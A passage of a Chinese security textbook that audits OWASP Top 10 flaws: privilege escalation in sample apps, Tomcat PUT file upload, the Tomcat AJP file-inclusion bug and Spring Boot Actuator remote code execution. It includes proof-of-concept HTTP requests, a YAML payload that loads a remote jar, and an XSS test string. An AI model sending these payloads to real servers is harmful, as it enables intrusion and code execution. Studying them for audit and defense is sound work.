    {"text": "图 5-57 接口的实现类 由图 5-57 可知，方法 updateUser 调用了 UserDao 的对象 userDao 所调用的 updateUser 方法。 继续审计 UserDao，可以发现 UserDao 也是一个接口，如图 5-58 所示。 此时，为了找到实现接口“UserDao”的类，可以在源码中搜索字符串“implements UserDao”，如图 5-59 所示。 由图 5-59 可知，open-inxedu-master\\inxedu\\demo_inxedu_open\\src\\main\\java\\com\\ inxedu\\os\\edu\\dao\\impl\\user\\UserDaoImpl.java 是该接口的实现类。 查看 UserDaoImpl 类对 updateUser 方法的实现，如图 5-60 所示。 5.5 失效的访问控制 163 图 5-58 继续审计 UserDao 图 5-59 搜索字符串“implements UserDao” 图 5-60 查看 updateUser 方法的实现 由图 5-60 可知，该类使用 UserMapper 进行查询，为了找到与 UserMapper 类相 164 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 关的 XML 配置文件，可以在源码中搜索字符串“UserMapper”，如图 5-61 所示。 图 5-61 搜索字符串“UserMapper 由图 5-62 可知，XML 配置文件的位置为“demo_inxedu_open\\src\\main\\resources\\ mybatis\\inxedu\\user\\UserMapper.xml”。"},
    {"text": "通过观察可以发现，在引用 Mapper 文件进行 数据更新操作之前，算法未对发送 HTTP 请求的用户进行用户身份合法性的校验， 也未对请求进行权限控制，于是形成了该横向越权漏洞。 图 5-62 横向越权漏洞的形成 5.5.3 纵向越权 纵向越权指的是权限不等的两个用户之间的越权操作，通常是低权限的用户可 以直接访问到高权限的用户信息。"},
    {"text": "5.5 失效的访问控制 165 下面通过一个在某租车系统演示网站的“由低权限用户创建超级管理员”的案 例来说明“纵向越权”的代码审计问题，并通过“黑盒+白盒”的方式进行探究。"},
    {"text": "（2）以超级管理员（admin）的权限登录网站后台，并创建“客服”角色的用户 “customerservice2” （在创建的同时，可以通过 Burp Suite 抓取网站接口信息来进行分 析），如图 5-63 所示。 图 5-63 创建“客服”角色的用户 （3）以客服（customerservice2）的权限登录网站后台，（在登录的同时，可以通 过 Burp Suite 抓取网站接口信息，以获取身份认证信息），如图 5-64 所示。"},
    {"text": "166 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 图 5-64 以客服的权限登录网站后台 图 5-65 客服账户界面为空白 图 5-66 越权测试 5.5 失效的访问控制 167 通过测试，可以发现“客服”可以调用原本“超级管理员”才可以访问的接口 并进行“客服”用户的添加。"},
    {"text": "为了进行审计，可在项目工程中对关键的 Jar 包 进行分析（我们可以定位到“WEB-INF/lib”目录下的文件“car-weishang-1.0.jar”）， 如图 5-67 所示。"},
    {"text": "图 5-68 反编译 Jar 包 168 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 由图 5-68 可知，该接口在接收到 HTTP 请求参数后，未对发送者的身份进行认 证鉴权，就将数据进行保存，这是此处越权漏洞的成因。"},
    {"text": "本节介绍的“横向越权”与“纵向越权”反映了越权漏洞挖 掘的基本思路，而常见的访问控制脆弱点不只是示例中介绍的用户的增、删、改、 查接口，还包括 CORS 配置错误允许未授权的 API 访问，通过修改 URL、内部应用 程序状态或 HTML 页面绕过访问控制检查，权限框架缺陷（如 Apache Shiro 身份 验证绕过漏洞 CVE-2020-11989）等场景。"},
    {"text": "5.6 安全配置错误 安全配置错误是常见的安全问题之一，这通常是由于不安全的默认配置、不完 整的临时配置、开源云存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误 信息所造成的。"},
    {"text": "5.6.1 安全配置错误漏洞简介 安全配置错误可以发生在一个应用程序堆栈的任何层面，包括网络服务、平台、 Web 服务器、应用服务器、数据库、框架、自定义的代码、预安装的虚拟机、容器、 存储等。 这通常是由于不安全的默认配置、不完整的临时配置、开源云存储、错误 的 HTTP 标头配置以及包含敏感信息的详细错误信息所造成的。"},
    {"text": "PUT /1.jsp/ HTTP/1.1 Host: 192.167.30.37:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng ,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=DE7C57127EF339EAF83C0EBCF3C45A54 Connection: close <%out.print(\"TEST\");%> 服务端返回状态码 201，说明创建成功，如图 5-69 所示。"},
    {"text": "图 5-70 1.jsp 上传成功 170 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 Tomcat 在处理请求时有两个默认的 Servlet，一个是 DefaultServelt，另一个是 JspServlet。"},
    {"text": "<servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet -class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> ...... <servlet> <servlet-name>jsp</servlet-name> <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class> <init-param> <param-name>fork</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>xpoweredBy</param-name> <param-value>false</param-value> </init-param> <load-on-startup>3</load-on-startup> </servlet> ...... <servlet-mapping> <servlet-name>default</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <!-- The mappings for the JSP servlet --> <servlet-mapping> <servlet-name>jsp</servlet-name> <url-pattern>*.jsp</url-pattern> <url-pattern>*.jspx</url-pattern> </servlet-mapping> 从以上配置信息不难看出，JspServlet 只处理后缀为.jsp 和.jspx 的请求。"},
    {"text": "从这一点可以理解为何 PUT 请求时 URI 为“/1.jsp/”而不直接使用“/1.jsp”， 因为直接 PUT 请求“/1.jsp”会由 JspServlet 进行处理，而不是由 DefaultServlet 处理， 所以无法触发漏洞。"},
    {"text": "protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (readOnly) { resp.sendError(HttpServletResponse.SC_FORBIDDEN); return; } String path = getRelativePath(req); InputStream resourceInputStream = null; ...... if (resources.write(path, resourceInputStream, true)) { ...... } 该方法的开端就判断了一个 readOnly 属性，当结果为 true 时会直接返回 403， 所以要将该值设置为 true。"},
    {"text": "readOnly 属性的值来源于 Tomcat 的 web.xml 的配置，在 DefaultServlet 的配置中添加一项参数，如下所示。 Tomcat 启动时会读取 web.xml， 并在用户第一次请求时将 DefaultServlet 的 readOnly 属性赋值为 false。"},
    {"text": "<init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> doPut 方法的关键点在于 resources.write (path, resourceInputStream, true) path 变量 存放的 PUT 请求的 URI，如图 5-71 所示。 doPut 方法的代码如图 5-72 所示，在第 184 行，path 作 为参数传入了 main.write 方法中，并继续执行。 图 5-71 PUT 请求的 URI 执行 main.write 方法后观察该方法，部分代码如下所示。 public boolean write(String path, InputStream is, boolean overwrite) { ...... 172 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 File dest = null; String webAppMount = getWebAppMount(); if (path.startsWith(webAppMount)) { dest = file(path.substring(webAppMount.length()), false); if (dest == null) { return false; } } else { return false; } ...... } 图 5-72 doPut 方法的代码 当执行到 dest = file(path.substring(webAppMount.length())时, false); path 被作为参 数再次传入，所以选择执行 file 方法，截取部分代码如下所示。 protected final File file(String name, boolean mustExist) { if (name.equals(\"/\")) { name = \"\"; } File file = new File(fileBase, name); ...... } file 方法中实例化了一个 File 对象用户后续向目录中 写入请求正文中的内容，name 参数是我们 PUT 请求的 URI，如图 5-73 所示。 图 5-73 name 参数是 URI fileBase 参数就是当前 Web 应用所在的绝对路径，如 图 5-74 所示。 5.6 安全配置错误 173 图 5-74 fileBase 参数是当前 Web 应用的绝对路径 在 File 对象实例化的过程中会处理掉 URL“/1.jsp/”的最后一个“/”以及多余 的“/”符号，例如“/com///Test//FileTest//1.jsp/////”经过处理会变成“/com/Test/FileTest/ 1.jsp”，因此，通过 PUT 请求，“/1.jsp/”可以达到上传任意文件的目的。"},
    {"text": "5.6.3 Tomcat AJP 文件包含漏洞（CVE-2020-1938） 1．Tomcat AJP 文件包含漏洞简介 2020 年 2 月 20 日，CNVD 公开的漏洞公告中发现 Apache Tomcat 文件包含漏洞 （CVE-2020-1938）。"},
    {"text": "Apache Tomcat 服务器中被发现存在文件包含漏洞，攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件。 该漏洞是一个单独的文件包含漏洞，依赖于 Tomcat 的 AJP（定向包协议）。 AJP 自身存在一定缺陷，导致存在可控参数，通过可控参数可以导致文件包含漏洞。"},
    {"text": "常见的 Web 服务器有 Apache、Nginx、IIS 等。 常 见的 Servlet 容器有 Tomcat、Weblogic、JBOSS 等。 Servlet 容器可以理解为 Web 服务器的升级版。 以 Tomcat 为例，Tomcat 本身可 以不作为 Servlet 容器使用，仅仅充当 Web 服务器的角色，但是其处理静态资源请求 的效率和速度远不及 Apache，所以很多情况下生产环境会将 Apache 作为 Web 服务 器来接收用户的请求。 静态资源由 Apache 直接处理，而 Servlet 请求则交由 Tomcat 来进行处理。"},
    {"text": "我们在浏览 器中对某个域名或者 ip 进行访问时，头部都会有 http 或者 https 的表示，而 AJP 浏览 174 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 器是不支持的，我们无法通过浏览器发送 AJP 的报文。"},
    {"text": "Tomcat$ CATALINA_BASE/conf/web.xml 默认配置了两个 Connector，分别监听 两个不同的端口，一个是 HTTP Connector 默认监听 8080 端口，另一个是 AJP Connector 默认监听 8009 端口。"},
    {"text": "浏览器无法使用 AJP，而是首先由 Apache 与 Tomcat 进行 AJP 的通信，然后由 Apache 通过 proxy_ajp 模块进行反向代理，将其 转换成 HTTP 服务器再暴露给用户，允许用户进行访问。"},
    {"text": "3．Tomcat 远程文件包含漏洞分析 首先从官网下载对应的 Tomcat 源码文件和可执行文件，如图 5-76 所示。 5.6 安全配置错误 175 图 5-76 下载 Tomcat 源码文件和可执行文件 两个文件夹下载好后，存放入在同一个目录下，然后在源码中新增 pom.xml，并 添加以下内容。"},
    {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?> <project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache. org/xsd/maven-4.0.0.xsd\"> <modelVersion>4.0.0</modelVersion> <groupId>org.apache.tomcat</groupId> <artifactId>Tomcat8.0</artifactId> <name>Tomcat8.0</name> <version>8.0</version> <build> <finalName>Tomcat8.0</finalName> <sourceDirectory>java</sourceDirectory> <testSourceDirectory>test</testSourceDirectory> <resources> <resource> <directory>java</directory> </resource> </resources> <testResources> <testResource> <directory>test</directory> </testResource> </testResources> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>2.3</version> <configuration> <encoding>UTF-8</encoding> 176 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 <source>1.8</source> <target>1.8</target> </configuration> </plugin> </plugins> </build> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.12</version> <scope>test</scope> </dependency> <dependency> <groupId>org.easymock</groupId> <artifactId>easymock</artifactId> <version>3.4</version> </dependency> <dependency> <groupId>ant</groupId> <artifactId>ant</artifactId> <version>1.7.0</version> </dependency> <dependency> <groupId>wsdl4j</groupId> <artifactId>wsdl4j</artifactId> <version>1.6.2</version> </dependency> <dependency> <groupId>javax.xml</groupId> <artifactId>jaxrpc</artifactId> <version>1.1</version> </dependency> <dependency> <groupId>org.eclipse.jdt.core.compiler</g roupId> <artifactId>ecj</artifactId> <version>4.5.1</version> </dependency> </dependencies> </project> 图 5-77 添加一个 Application 然后添加一个 Application，如图 5-77 所示。"},
    {"text": "然后访问 127.0.0.1:8080，如出现以下页面，则表示环境搭建成功，如图 5-78 所示。 图 5-78 环境搭建成功 4．漏洞复现 任意文件读取漏洞复现，如图 5-79 和图 5-80 所示。"},
    {"text": "图 5-81 RCE（一） 5.6 安全配置错误 179 图 5-82 RCE（二） 5．漏洞分析 首先定位到类 org.apache.coyote.ajp.AjpProcessor。 根据网上透漏的漏洞消息，得 知漏洞的产生是由于 Tomcat 对 ajp 传递过来的数据的处理方式存在问题，导致用户 可以控制“javax.servlet.include.request_uri”“javax.servlet.include.path_info”“javax. servlet.include.servlet_path”这 3 个参数，从而读取任意文件，甚至可以进行 RCE。"},
    {"text": "环境使用 Tomcat 8.0.50 版本搭建，产生漏洞 的原因并不在于 AjpProcessor.prepareRequest()方法。 8.0.50 版本的漏洞点存在于 AjpProcessor 的父类，即 AbstractAjpProcessor 抽象类的 prepareRequest()中，如图 5-83 所示。"},
    {"text": "图 5-84 设置断点并运行 exp 由于此次数据传输使用的是 AJP，经过 8009 口，并非我们常见的 HTTP，因此 首先由内部类 SocketPeocessore 来进行处理。"},
    {"text": "处理完成后，经过几次调用交由 AbstractAjpProcessor.prepareRequest()方法，该 方法是漏洞产生的第一个点，如图 5-85 所示。 图 5-85 漏洞产生的第一个点 单步执行 request.setAttribute()方法，如图 5-86 和图 5-87 所示。"},
    {"text": "图 5-86 单步执行 request.setAttribute()方法（一） 图 5-87 单步执行 request.setAttribute()方法（二） 这里我们可以看到，attributes 是一个 HashMap，将通过 AJP 传递过来的 3 个参 数循环遍历存入这个 HashMap，如图 5-88 所示。"},
    {"text": "图 5-90 exp 发出的数据包 182 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 通过使用 WireShark 抓包查看 AJP 报文的信息，其中有 4 个比较重要的参数 如下。"},
    {"text": "URI:/asdf javax.servlet.include.request_uri:/ javax.servlet.include.path_info: WEB-INF/Test.txt javax.servlet.include.servlet_path:/ 通过 AJP 传来的数据需要交由 Servlet 进行处理，那么应该交由哪个 Servlet 呢？"},
    {"text": "通过阅读关于 Tomcat 架构的文章和资料得知，Tomcat$ CATALINA_BASE/ conf/web.xml 配置文件中默认定义了两个 Servlet：一个是 DefaultServlet，如图 5-91 所示；"},
    {"text": "图 5-91 默认定义的 DefaultServlet 图 5-92 默认定义的 JspServlet 由于$ CATALINA_BASE/conf/web.xml 文件是 tomcat 启动时默认加载的，因此 这两个 Servlet 会默认存放在 Servlet 容器中。"},
    {"text": "这里 需要注意的是，举例来说，我们请求一个“abc.jsp”，但是后台没有“abc.jsp”，这不 属于无法匹配任何 Servlet，因为.jsp 的请求会默认由 JspServlet 进行处理，如图 5-93 所示。 图 5-93 无法匹配任何 Servlet 根据上述内容，结合发送数据包中的“URI:/asdf”这一属性，可以判断该请求是 由 DefaultServlet 进行处理的。"},
    {"text": "serveResource()方法调用了 getRelativePath() 方法来进行路径拼接，如图 5-95 所示。 图 5-95 路径拼接 这里就是将传入的 path_info、servlet_path 进行复制的地方。"},
    {"text": "最后拼 接的结果仍然是“WEB-INF/web.xml”，如图 5-97 所示。 图 5-97 拼接结果仍然是“WEB-INF/web.xml” 返回 DefaultServle.serveResource()。"},
    {"text": "然后判断 path 变量长度是否为 0，为 0 则调 用目录重定向方法，如图 5-98 所示。 图 5-98 调用目录重定向方法 下面的代码开始读取指定的资源文件，如图 5-99 和图 5-100 所示。 图 5-99 读取指定的资源文件 5.6 安全配置错误 185 图 5-100 resources 对象 执行 StandardRoot.getResource()方法，如图 5-101 所示。 图 5-101 执行 StandardRoot.getResource()方法 getResource()方法中调用了很重要的 validate()方法，并将 path 作为变量传递进去 进行处理。"},
    {"text": "当我们尝试使用 WEB-INF/../../Test.txt 来读取 webapp 以外的目录中的文件时， 可以看到此时返回的 result 是 null，而且会抛出异常，如图 5-103 所示。"},
    {"text": "186 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 图 5-103 尝试目录穿越（一） 所有原因都在于 RequestUtil.normalize()函数对我们传递进来的路径的处理方式。"},
    {"text": "我们传入的路径是“/WEB-INF/../../Test.txt”, 首先程序会判断路径中是否存在“/../”，答案是包含且索引大于 8，所以第一个 if 判 断不会成功，也不会跳出 while 循环。"},
    {"text": "图 5-104 尝试目录穿越（二） 此处的目标是不允许传递的路径的开头为“/../”，且不允许同时出现两个连在一 起的“/../”，所以我们最多只能读取到 webapp 目录，无法读取 webapp 以外的目录中 的文件。 要读取 webapp 目录下的其余目录内的文件，可以通过修改数据包中的“URI” 参数来实现，如图 5-105 所示。"},
    {"text": "图 5-106 成功拼接文件路径 接下来回到 getResource()函数进行文件读取，如图 5-107 所示。 图 5-107 文件读取 以下是任意文件读取的调用链，如图 5-108 所示。"},
    {"text": "188 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 图 5-108 任意文件读取的调用链 6．RCE 实现的原理 前面介绍过 Tomcat$ CATALINA_BASE/conf/web.xml 配置文件中默认定义了两 个 Servlet。"},
    {"text": "定位到 JspServlet.Service()方法，如图 5-110 所示。 图 5-110 定位到 JspServlet.Service()方法 190 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 首先，将“servlet_path”的值取出赋值给变量 jspUri，如图 5-111 所示。"},
    {"text": "图 5-111 赋值给变量 jspUri 然后，将“path_info”参数对应的值取出并赋值给“pathInfo”变量，然后与“jspUri” 进行拼接，如图 5-112 和图 5-113 所示。 图 5-112 赋值给变量 pathInfo 并拼接（一） 图 5-113 赋值给变量 pathInfo 并拼接（二） 接下来调用 serviceJspFile()方法，如图 5-114 所示。 图 5-114 调用 serviceJspFile()方法 5.6 安全配置错误 191 首先生成 JspServletWrapper 对象，如图 5-115 所示。 图 5-115 生成 JspServletWrapper 对象 然后调用 JspServletWrapper.service()方法，如图 5-116 所示。 图 5-116 调用 JspServletWrapper.service()方法 获取对应的 servlet，如图 5-117 所示。 图 5-117 获取对应的 servlet 调用该 servlet 的 service 方法，如图 5-118 所示。 图 5-118 调用的 service 方法 接下来解析上传文件中的 Java 代码。"},
    {"text": "图 5-119 RCE 漏洞原理分析完毕 192 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 5.6.4 Spring Boot 远程命令执行 漏洞原理以及 POC 构造分析 漏洞的利用过程分为两个步骤，第一步是访问/env 接口修改配置属性，第二步 是访问/refresh 接口对配置进行刷新，刷新过程会读取前面修改的配置并到指定的服 务器上加载恶意 yml 文件。"},
    {"text": "POST /env HTTP/1.1 Host: 127.0.0.1:9092 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp ,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 65 spring.cloud.bootstrap.location=http://127.0.0.1:8000/example.yml 通过 POST 向/env 接口发起请求，正文中携带一个参数，该参数的参数名为 “spring.cloud.bootstrap.location”，该参数的值为恶意 yml 文件的地址。"},
    {"text": "Spring Boot Actuator 是一款可以辅助监控系统数据的 5.6 安全配置错误 193 框架，它可以监控很多系统数据，具有对应用系统的自省和监控的集成功能，也可 以查看应用配置的详细信息，具体如下所示。"},
    {"text": "● 显示应用程序的 Health 健康信息。 ● 显示 Info 应用信息。 ● 显示 HTTP Request 跟踪信息。 ● 显示当前应用程序的“Metrics”信息。 ● 显示所有的@RequestMapping 的路径信息。 ● 显示应用程序的各种配置信息。 ● 显示程序请求的次数、时间等各种信息。"},
    {"text": "当我们向/env 接口发起 GET 请求时，Actuator 会返回很多 json 格式的配置信息， 如图 5-121 所示，所以 Actuator 配置不当或 env 接口暴露在外网时就会导致信息泄露。 图 5-121 返回 json 格式的配置信息 但是仅仅通过 GET 请求无法向 Actuator 传递参数来修改配置，此时通过 POST 请求发送 payload 时，Spring Boot 服务器会返回图 5-122 所示的内容。"},
    {"text": "194 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 图 5-122 Spring Boot 服务器返回的内容 系统会提示只允许 GET 方法，如果想通过 POST 传递参数，则需要目标中存在 另一项依赖，如图 5-123 所示。"},
    {"text": "图 5-123 需要另一项依项 添加 Spring Cloud 的依赖后，再次使用 POST 传递 payload 时，Spring Boot 就会 返回图 5-124 所示的信息，意味着配置信息已经被更新。 图 5-124 Spring Boot 返回的信息 更新配置后，接下来的步骤是通过 POST 请求/refresh 接口，POC 如下所示。 POST /refresh HTTP/1.1 Host: 127.0.0.1:9092 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate 5.6 安全配置错误 195 Connection: close Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 3 当通过 POST 请求/refresh 接口刷新配置后，目标就会读取“spring.cloud. bootstrap.location”的值，并向读取到的值发起请求，将恶意 yml 文件加载到本地并 进行解析，最终造成恶意代码执行。 其核心思路就是，首先通过 Spring Cloud 配置 bootstrap.yml 外置这一特点，在运 行时期通过发送 HTTP 报文来修改“spring.cloud.bootstrap.location”，将其指向一个外 部地址。 然后通过/refresh 接口刷新配置，此时 Spring Cloud 就会根据“spring. cloud.bootstrap.location”去指定的地址加载 yml 格式的配置文件。"},
    {"text": "接着加载到本地由 SnakeYAML 进行解析，利用 SnakeYAML 解析上的漏洞实例化 ScriptEngineManager 对 象 ， 通 过 实 例 化 的 ScriptEngineManager 对 象 再 去 请 求 指 定 服 务 器 上 实 现 ScriptEngineFactory 接口的恶意类。"},
    {"text": "当我们对/refresh 接口发起请求时，后台是由 GenericPostableMvcEndpoint 类来对该请求进行接收并进行处理的，代码如图 5-125 所示。 图 5-125 更新配置 根据注解可以看到，GenericPostableMvcEndpoint 类通过 invoke 方法来处理针对 196 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 /refresh 的 POST 请求。"},
    {"text": "熟悉 Spring Boot 或者具有 Spring Boot 开发经验的读者一定 不会对 SpringApplication 感到陌生，通常我们在编写一个 Spring Boot 程序时，在包 的最外层会有一个使用@SpringBootApplication 注解的类。"},
    {"text": "图 5-126 调用 run 方法 此次处理针对/refresh 的 POST 请求过程中也会调用 SpringApplication 的 run 方 法，不同的是启动时调用的是静态 run 方法，而处理/refresh 请求时调用的是动态 run 方法。 但是查看 SpringApplication 的源码可以发现，静态的 run 方法在其内部实现中 还是调用了动态的 run 方法，如图 5-127 所示。 图 5-127 调用了动态的 run 方法 当执行到 SpringApplication 的 run 方法时，调用链如图 5-128 所示。"},
    {"text": "图 5-128 调用链 在正常启动一个 Spring Boot 程序的过程中，SpringApplication 会遍历执行所有 5.6 安全配置错误 197 通过 SpringFactoriesLoader 可以查找到并加载的 SpringApplicationRunListener。 在 Spring Boot 启动过程中，加载 Listener 这一过程会在 SpringApplication 实例化时完成， 具体代码如图 5-129 所示。"},
    {"text": "图 5-129 加载 Listener 查找 Listener，如图 5-130 所示。 图 5-130 查找 Listener 针对这些 Listener，我们只需要关注 BootstrapApplicationListener 和 ConfigFIle-ApplicationListener。"},
    {"text": "198 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 图 5-131 预先定义好的事件 SpringApplication 的 run 方法在执行过程中会触发 started、environmentPrepared、 contextPrepared 等 事 件 。"},
    {"text": "prepareEnvironment 方法的作用是加载属性配置，当该方 法执行完成后，所有的 environment 属性都会加载进来，包括 application.properties 和 一些外部的配置，代码如图 5-132 所示。 图 5-132 加载属性配置 经过一系列的代码嵌套调用，会再次执行到 SpringApplication 的 run 方法，也就 是说 BootstrapApplicationListener 在处理 environmentPrepared 事件时还会嵌套处理其 他事件。 这次仍然是跟进 prepareEnvironment 方法，并会依次调用以下 Listener 来处 理 environmentPrepared 事件，调用到的类如图 5-133 所示。"},
    {"text": "图 5-133 调用到的类 5.6 安全配置错误 199 循环调用各个 Listener 方法的代码如图 5-134 所示。 图 5-134 循环调用各个 Listener 方法的代码 调用 ConfigFileApplicationListener 处理 prepareEnvironment 事件时，如图 5-135 所示。 图 5-135 处理 prepareEnvironment 事件 ConfigFileApplicationListener 会调用 onApplicationEvent 方法来处理传递进来的事 件。 首先，该方法会判断传递进来的事件是不是 ApplicationEnvironmentPreparedEvent， 代码如图 5-136 所示。"},
    {"text": "图 5-136 判断传递进来的事件 然后，程序继续执行，会实例化一个 Load 对象并将 environment 作为参数传入， environment 中存储着外部恶意 yml 文件的地址，代码如图 5-137 所示。"},
    {"text": "200 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 图 5-137 传入参数 接着，在 load 方法内会调用 getSearchLocations()方法获取配置文件存储的路径， 并循环进行加载，如图 5-138 所示。"},
    {"text": "图 5-138 获取配置文件存储的路径 查询出来的第一个结果是恶意 yml 文件的存放地址，这里 if 的判断结果为 true， 所 以 调 用 load 方 法 ， 将 地 址 作 为 参 数 传 入 ， 跟 进 load 方 法 后 继 续 执 行 到 PropertySourcesLoader 的 load 方法。"},
    {"text": "该方法内会循环判断两个 SourceLoader 是否可 以加载并解析 example.yml，两个 SourceLoader 如图 5-139 所示。 图 5-139 两个 SourceLoader 判断的方法其实很简单，即获取这两个 SourceLoader 各自支持解析文件的文件 后缀，PropertiesPropertySourceLoader 支持的是.properties 和.xml 后缀的文件解析， YamlPropertySourceLoader 支持的是.yml 和.yaml 后缀的文件解析。 因此结果很明显， 后续负责请求 example.yml 的是 YamlPropertySourceLoader，具体代码如图 5-140 所示。 5.6 安全配置错误 201 图 5-140 负责请求的代码 YamlPropertySourceLoader 会进行一个操作，即调用第三方库 snakeyaml 来负责 解析 example.yml。"},
    {"text": "snakeyaml 可以将 Java 对象序列化为 yml，同样也可以将 yml 反 序列化为 Java 对象，因此产生该漏洞的最主要的原因就是 snakeyaml 对传入的数据 没有进行任何限制，直接进行了反序列化行为，从而导致远程代码执行。"},
    {"text": "!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"] ]] ] 从这个 yml 文件中可以清楚地看出这段恶意代码的目的，通过 snakeyaml 将其反 序列化为一个 ScriptEngineManager 对象。"},
    {"text": "ScriptEngineManager 有两个构造函数，其 中 一 个 构 造 函 数 的 参 数 是 ClassLoader 类 型 ， 这 里 就 利 用 了 这 个 构 造 函 数 。 ScriptEngineManager 在实例化时会通过 URLClassLoader 去指定的位置加载一个恶意 类。 URLClassLoader 在将恶意类加载到本地后会直接将其实例化，从而触发写在恶 意类的构造函数中的恶意代码。 yaml-payload.jar 中的恶意代码如图 5-141 所示，该恶 意类要实现 ScriptEngineFactory 的原因会在后续章节进行说明。"},
    {"text": "<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.ya ml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.sn akeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.Se quenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snake yaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:8000 /yaml-payload.jar)>] )>] )>] )>] )> 在 snakeyaml 后续的执行过程中，会根据其中的 tag 循环获得其对应的构造函数 对 象 。"},
    {"text": "!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"] ]] ] 5.6.5 小结 安全配置错误可以发生在一个应用程序堆栈的任何层面，包括网络服务、平台、 Web 服务器、应用服务器、数据库、框架、自定义代码和预安装的虚拟机、容器和 存储。"},
    {"text": "5.7 跨站脚本（XSS） 5.7.1 跨站脚本漏洞简介 XSS 是 Cross Site Scripting 的缩写，意为“跨站脚本”，为了避免与层叠样式表 （Cascading Style Sheets，CSS）的缩写混淆，故将跨站脚本缩写为 XSS。 XSS 漏洞是指攻击者在网页中嵌入客户端脚本（通常是 JavaScript 编写的恶意代 码），进而执行其植入代码的漏洞。"},
    {"text": "<% //部署在服务器端 //从请求中获得“name”参数 String name = request.getParameter(\"name\"); //从请求中获得“学号”参数 String studentId = request.getParameter(\"sid\"); out.println(\"name = \"+name); out.println(\"studentId = \"+studentId); %> 由此可知，这份 JSP 代码会将变量 name 与 studentId 输出到前端，而这两个变量 5.7 跨站脚本（XSS） 205 是从 HttpServletRequest 请求对象中取得的。"},
    {"text": "http://localhost:8080/xss-demo/reflective-xss.jsp?sid=31&&name=jj%3Cscript% 3Ealert(1)%3C/script%3E 其执行结果如图 5-145 所示。"},
    {"text": "图 5-145 插入 XSS Payload 的测试 206 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 5.7.3 存储型 XSS 漏洞 为了利用存储型 XSS 这种漏洞，攻击者需要将利用代码保存在数据库或者文件 中，当 Web 程序读取利用代码并输出在页面时执行利用代码。"},
    {"text": "下述案例分析将讲述对博客系统 ZrLog 1.9.1 的存储型 XSS 的挖掘过程（注意： 在编写本书时，zrlog 已经升级到 2.1.15-SNAPSHOT，本文通过旧版本进行案例分析）。"},
